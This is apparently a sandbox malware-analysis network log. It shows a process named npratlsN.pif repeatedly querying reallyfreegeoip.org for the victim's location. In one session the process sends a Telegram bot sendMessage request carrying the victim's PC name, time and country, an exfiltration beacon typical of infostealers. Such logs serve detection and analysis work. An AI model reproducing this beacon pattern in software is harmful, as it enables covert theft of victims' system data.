                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1588&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1792510&cwnd=153&unsent_bytes=0&cid=69d1d0f252e7cc95&ts=197&x=0"
                                                                                                                                                        2025-01-14 07:08:41 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        16192.168.2.452769104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:43 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:43 UTC863INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:43 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153312
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ce2L39OREsjzHw%2FS7U2VRjZPoDzC7OCwXhTmUV32LlFOeIP1DFkbP37ICQTw8WxoWo%2BzvzHPRNPBNyRACJjptb2%2FhnwuvExp3E7QRYiSHjC0YEk5q%2F%2BzDLdQ%2BO%2BSftVzAdTZX2s"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbe1bbae41ba-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1749&min_rtt=1707&rtt_var=670&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1710603&cwnd=192&unsent_bytes=0&cid=d52b997a907f14b2&ts=159&x=0"
                                                                                                                                                        2025-01-14 07:08:43 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        17192.168.2.452772104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:44 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:45 UTC863INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:45 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153314
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=12xMOppDJRvd%2BHiwsPhRIJPGGDaER2IeaORrHv3N1qYyF%2BFZEcarP2Up%2BiWxIWQB2hyBdDXUVmqM%2FOiWpGMx4ZpwFQ1%2Brf52QlgRGvO8On5H%2FhzIeAcmlPW0xTP4k%2FyuJa6H4WHS"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbed4a1e1899-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1598&rtt_var=1346&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=636720&cwnd=153&unsent_bytes=0&cid=b874360c97fe72f7&ts=153&x=0"
                                                                                                                                                        2025-01-14 07:08:45 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        18192.168.2.452771104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:44 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:45 UTC851INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:45 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153314
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vYX5RtZCsA8ysdXwC4oN4PiA0kK%2F17jN8TMT9JvYGIsl2xPSXuIWPJG5nuPx17Rpcq0NNiNH0KTDQEDZceGiP6bdK8Y559XPfPUJrIkJJj8uGkdoDUcm4t9gEdG6pD0kDAxaJA0D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbed7f087293-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=2239&min_rtt=1964&rtt_var=1288&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=700239&cwnd=158&unsent_bytes=0&cid=020d4913a2d4bbb4&ts=190&x=0"
                                                                                                                                                        2025-01-14 07:08:45 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        19192.168.2.452775104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:45 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:46 UTC857INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:46 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153315
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T9P%2FggjRNWaiBNQ1o996j3dJ32eFrUTrfeon1y2i4DhjwPjopyNISw6U8aF0qKzgzjCvKmEw%2BkMRNGKpJLk7ZH3m6oLzkTlRnFpzVji%2FiFDQ6sUGv3u4zqgZ1Xf%2Bvj8DSlhVsBkf"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbf3aaf44388-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1553&min_rtt=1543&rtt_var=600&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1791411&cwnd=221&unsent_bytes=0&cid=94f914d35a87ed7d&ts=156&x=0"
                                                                                                                                                        2025-01-14 07:08:46 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        20192.168.2.452776104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:46 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:46 UTC855INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:46 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153315
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SgruX7yz8EsSc2LSbBbosI74OQacc9Bo8U2vhP0qDUSgSkt9Qqco%2FpMg0Pr8OBnVrB4zsiJh0Cbs7Lkwh59kzVTbI%2B1V8gch7UsVu4OUkcTae4rSWyP9%2FLRDLp7Li8bwTvh9vv95"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbf62a2141ba-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1686&min_rtt=1686&rtt_var=634&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1724748&cwnd=192&unsent_bytes=0&cid=3f2aa1679fcb9384&ts=133&x=0"
                                                                                                                                                        2025-01-14 07:08:46 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        21192.168.2.452779104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:47 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:47 UTC859INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:47 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153316
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4lgFIzhZtYMMcW2go%2Bw6uin6w6z%2BWZg4CNzLmvUgpMc%2ByatHMj2LvXw%2FTNPH1is1ztIDs%2Fh3jRVAeJKsJEjvRbaqT724A4Tw9Koi2VB6M4brkprDpYrMww0zyc7l3VppKrBbVhTu"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbfcceff41ba-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1701&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1658148&cwnd=192&unsent_bytes=0&cid=4d0044a1b9184365&ts=148&x=0"
                                                                                                                                                        2025-01-14 07:08:47 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        22192.168.2.452780104.21.16.14433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:47 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:47 UTC861INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:47 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153317
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mJjYJYBaFPf1uSzKPSL7gs7SJVuy8a%2BKEEwRj91O54%2FCWWQWILr7HQSFFM61PS%2F%2BwiMv14LLGFKQSbot5tiTYkiCmsVMX1GePmQr9qu8xguJLv%2F9fg5zc141KNDoKu1WlZK6%2FUAs"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcbff289141ba-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=2134&min_rtt=1612&rtt_var=977&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1811414&cwnd=192&unsent_bytes=0&cid=da47e1c0aa814e01&ts=153&x=0"
                                                                                                                                                        2025-01-14 07:08:47 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        23192.168.2.452782149.154.167.2204433592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:48 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2014:32:10%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                        Host: api.telegram.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:48 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                        Server: nginx/1.18.0
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:48 GMT
                                                                                                                                                        Content-Type: application/json
                                                                                                                                                        Content-Length: 55
                                                                                                                                                        Connection: close
                                                                                                                                                        Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                        Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                        2025-01-14 07:08:48 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                        Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        24192.168.2.452783104.21.16.14436036C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:48 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:48 UTC861INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:48 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153318
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I85oL8t60zXGhR8qZonh3LIXgPZ19Iwt%2BCQdo8wDkqE3CQJ9srBVP6dpEDrULgSrVLRORh97NIJtcfrkuZiFLLttYeh%2BQ8C1vk%2BZ1dANI%2FMb4C7G2VXjIrz76IWOoArwUF%2Bb%2Bk5z"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcc05eedc7293-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1898&min_rtt=1897&rtt_var=714&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1530398&cwnd=158&unsent_bytes=0&cid=c353d6bb1dedd6a3&ts=132&x=0"
